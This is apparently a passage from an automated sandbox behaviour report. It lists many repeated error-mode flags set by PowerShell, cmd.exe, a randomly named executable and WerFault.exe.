Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
